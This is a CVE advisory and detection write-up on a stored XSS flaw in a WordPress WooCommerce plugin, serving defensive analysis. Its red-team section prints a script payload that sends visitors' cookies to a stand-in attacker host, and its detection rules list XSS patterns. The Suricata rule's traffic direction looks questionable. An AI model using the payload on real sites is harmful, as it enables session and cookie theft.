CVE-2023-6494

Executive Summary

CVE-2023-6494 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Smart Quick View for WooCommerce WordPress plugin, affecting all versions up to and including 4.0.2. The flaw arises from insufficient input sanitization and output escaping in the plugin’s admin settings. An authenticated attacker with administrator-level permissions (or higher) can inject arbitrary web scripts that execute whenever a user accesses an injected page. This vulnerability is particularly dangerous in multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators. The CVSS score is 4.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial product by Wpclever, the supply chain risk includes potential tampering with plugin updates or reliance on unpatched versions. Administrators should verify the integrity of plugin files and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the stored XSS can persist and affect all users, including lower-privileged ones, in multi-site setups.

Deep Dive & Mechanics

The vulnerability resides in the admin settings page of the WPC Smart Quick View plugin. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An attacker with admin access can inject malicious JavaScript into fields such as custom CSS, custom JS, or other text-based settings. This injected script is stored in the WordPress database and executed when any user (including non-admin visitors) loads the affected admin page or frontend component.

Root Cause: The plugin uses echo or _e() functions without applying esc_html(), esc_attr(), or wp_kses() to sanitize output. Additionally, input validation is missing, allowing arbitrary HTML/JavaScript to be saved.

Attack Flow:

1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
2. Attacker navigates to the plugin’s settings page (e.g., /wp-admin/admin.php?page=wpc-smart-quick-view).
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
4. The payload is stored in the database.
5. When any user (admin or visitor) loads the page that renders this field, the script executes.

Multi-Site Specifics: In WordPress multi-site networks, super admins have unfiltered_html by default, but regular admins do not. If unfiltered_html is disabled for admins, the vulnerability is exploitable. This is common in multi-site installations to prevent lower-level admins from injecting scripts.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below.

Vulnerable Code (Example from plugin settings):

// In a settings field callback
function render_custom_css_field() {
    $value = get_option('wpc_sqv_custom_css', '');
    echo '<textarea name="wpc_sqv_custom_css">' . $value . '</textarea>';
}

The $value is output directly without escaping.

Patched Code (Hypothetical fix):

function render_custom_css_field() {
    $value = get_option('wpc_sqv_custom_css', '');
    echo '<textarea name="wpc_sqv_custom_css">' . esc_textarea( $value ) . '</textarea>';
}

Using esc_textarea() or esc_html() prevents script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin-level credentials on a WordPress multi-site installation (or a site where unfiltered_html is disabled for admins).
• The WPC Smart Quick View plugin version <= 4.0.2 active.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to the plugin settings: /wp-admin/admin.php?page=wpc-smart-quick-view.
3. Locate a vulnerable input field (e.g., "Custom CSS" or "Custom JS").
4. Inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. Any user visiting the affected page will trigger the script, exfiltrating cookies or performing other actions.

No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor admin settings changes for suspicious input patterns (e.g., <script>, onerror=, javascript:).
• Use Web Application Firewall (WAF) rules to block XSS payloads in admin POST requests.
• Review WordPress audit logs for unexpected plugin setting modifications.

Hardening:

• Disable the plugin until a patch is released.
• Restrict admin access to trusted users only.
• Enable DISALLOW_UNFILTERED_HTML in wp-config.php for all users.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Integrity: Modified plugin files (e.g., wp-content/plugins/wpc-smart-quick-view/admin/class-admin-settings.php) containing unsanitized output.
• Database Entries: Options like wpc_sqv_custom_css or wpc_sqv_custom_js containing <script> tags or event handlers.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin area.
• Logs: Unusual POST requests to /wp-admin/admin.php?page=wpc-smart-quick-view with XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2023_6494_WPC_Smart_Quick_View_XSS {
    meta:
        description = "Detects stored XSS payloads in WPC Smart Quick View plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6494"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"].*['\"]/i
        $option_name = "wpc_sqv_custom_css"
    condition:
        $option_name and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2023-6494 - Stored XSS in WPC Smart Quick View Settings
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects admin POST requests containing XSS payloads to the WPC Smart Quick View plugin settings page.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=wpc-smart-quick-view'
        cs-body|contains|any:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin using JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6494 - Stored XSS Payload in WPC Smart Quick View"; flow:to_server,established; content:"POST"; http_method; content:"page=wpc-smart-quick-view"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review and clean any stored XSS payloads in the database (e.g., using phpMyAdmin or WP-CLI).
3. Change all admin passwords if compromise is suspected.

Long-Term Fix:

• Apply the official patch from Wpclever when available.
• Implement input sanitization and output escaping in custom code.
• Use a WordPress security plugin (e.g., Wordfence) to monitor file changes and block XSS.

Workarounds:

• Restrict admin access to trusted users only.
• Enable DISALLOW_UNFILTERED_HTML in wp-config.php for all users.
• Use a Web Application Firewall (WAF) to filter XSS payloads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst